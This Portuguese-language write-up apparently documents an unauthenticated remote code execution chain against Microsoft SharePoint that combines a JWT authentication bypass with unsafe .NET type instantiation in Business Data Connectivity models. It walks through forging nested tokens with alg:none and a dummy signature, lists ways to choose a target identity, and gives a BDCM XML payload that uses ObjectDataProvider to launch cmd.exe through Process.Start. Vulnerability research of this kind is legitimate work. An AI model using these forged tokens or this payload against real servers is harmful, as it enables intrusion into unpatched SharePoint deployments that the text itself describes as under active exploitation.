
Cadeia de exploração para RCE não autenticado no Microsoft SharePoint, combinando uma bypass de autenticação JWT com instanciação insegura de tipos .NET para alcançar execução de código como a conta de serviço.
RCE não autenticado no Microsoft SharePoint Server. Nenhuma credencial necessária.
Stephen Fewer (Rapid7) demonstrou a CVE-2026-55040 no Pwn2Own Berlin 2026. A Rapid7 então descobriu a CVE-2026-63520 durante pesquisas de acompanhamento, e a VulnCheck encontrou de forma independente uma cadeia de gadgets alternativa. Juntas, essas duas falhas oferecem execução remota de código não autenticada contra qualquer SharePoint sem patch na internet.
A CISA emitiu alertas poucas horas após a divulgação do PoC. Está sendo explorada ativamente.
Duas falhas, uma cadeia:
| CVE | Tipo | CVSS | O que quebra |
|---|---|---|---|
| CVE-2026-55040 | Bypass de Autenticação JWT | 9.1 | A validação do token S2S do SharePoint tem quatro fraquezas independentes. Encadeie-as e você forja um JWT válido para qualquer usuário — incluindo administradores do site — sem saber a senha dele. |
| CVE-2026-63520 | Instanciação insegura de tipo .NET → RCE | 8.1 | O Business Data Connectivity (BDC) resolve nomes arbitrários de tipos .NET a partir de XML enviado sem nenhuma lista de permissões. Aponte-o para ObjectDataProvider e você obtém Process.Start(). |
Nenhuma das falhas é interessante isoladamente. A CVE-2026-63520 exige autenticação. A CVE-2026-55040 fornece autenticação. Juntas: RCE não autenticado como a conta de serviço do SharePoint.
O SharePoint usa JWTs aninhados para autenticação servidor-a-servidor (S2S). Um token externo carrega a identidade do usuário; um "token de ator" interno representa o aplicativo chamador. Quatro fraquezas em SPJsonWebSecurityTokenHandlerV2.ValidateToken() fazem tudo desmoronar:
Fraqueza 1 — A verificação de assinatura está desligada. O validador define RequireSignedTokens = false. O token externo aceita alg: none. Nenhuma assinatura é necessária.
Fraqueza 2 — Resolução de x5t sem verificação. A chave de assinatura do token de ator é resolvida consultando o cabeçalho x5t (impressão digital do certificado) no repositório de certificados. O SharePoint nunca verifica se a assinatura do token de ator realmente corresponde a essa chave.
Fraqueza 3 — A validação do emissor aceita certificados desconhecidos. ValidateIssuer() passa se o certificado de assinatura não estiver na coleção TrustedSecurityTokenServices. O certificado STS do próprio SharePoint não está registrado lá. Portanto, referenciá-lo via x5t passa na validação do emissor incondicionalmente.
Fraqueza 4 — Verificação de assinatura não criptográfica. GetTokenSignature() exige uma string não vazia, mas não faz nenhuma validação criptográfica. Qualquer valor funciona. AAAA funciona.
O certificado STS é público. Você o obtém de /_layouts/15/metadata/json/1 — um endpoint não autenticado — calcula a impressão digital SHA-1 e tem tudo o que precisa.
Token externo (carrega a identidade do usuário):
// Cabeçalho
{"alg": "none", "typ": "JWT"}
// Payload
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<SID ou UPN alvo>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<JWT interno>"
}
// Assinatura: vazia (alg:none)
Token de ator interno (representa o "aplicativo"):
// Cabeçalho
{"alg": "RS256", "typ": "JWT", "x5t": "<impressão digital do certificado STS>"}
// Payload
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Assinatura: "AAAA" (literalmente qualquer coisa não vazia)
Três maneiras de escolher uma identidade:
| Modo | nameid | nii | O que você precisa |
|---|---|---|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | SID do domínio (via sessão nula SMB) + brute de RID |
| UPN | upn_bypass + claim upn | urn:office:idp:activedirectory | Um UPN válido (ex.: [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Nada. Acesso limitado, mas suficiente para algumas cadeias. |
O serviço Business Data Connectivity do SharePoint permite que administradores definam fontes de dados externas por meio de arquivos XML de Modelo BDC (.bdcm). Esses modelos especificam tipos .NET que o BDC instancia em tempo de execução.
O problema está em DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // qualquer tipo no GAC
Nomes de tipo com menos de 15 caracteres passam por um resolvedor seguro. Qualquer coisa mais longa chama Type.GetType() diretamente — que resolve qualquer nome de tipo qualificado por assembly do Global Assembly Cache. Sem lista de permissões. Sem lista de bloqueios. O atacante controla abstractTypeName por meio do XML BDCM.
Usamos System.Windows.Data.ObjectDataProvider do PresentationFramework. Quando você define a propriedade ObjectInstance, ele invoca MethodName nessa instância. Defina MethodName = "Start" e ObjectInstance = System.Diagnostics.Process com um StartInfo elaborado, e a reflexão de definição de propriedade do BDC faz o resto:
ObjectDataProvider criado
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <payload>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ o setter de propriedade aciona QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
O XML BDCM que carrega isso:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
A VulnCheck documentou uma cadeia alternativa usando System.Web.UI.LosFormatter com desserialização TypeConfuseDelegate por meio de um LobSystem DotNetAssembly. Vários gadgets funcionam — a primitiva subjacente é a instanciação irrestrita de tipos.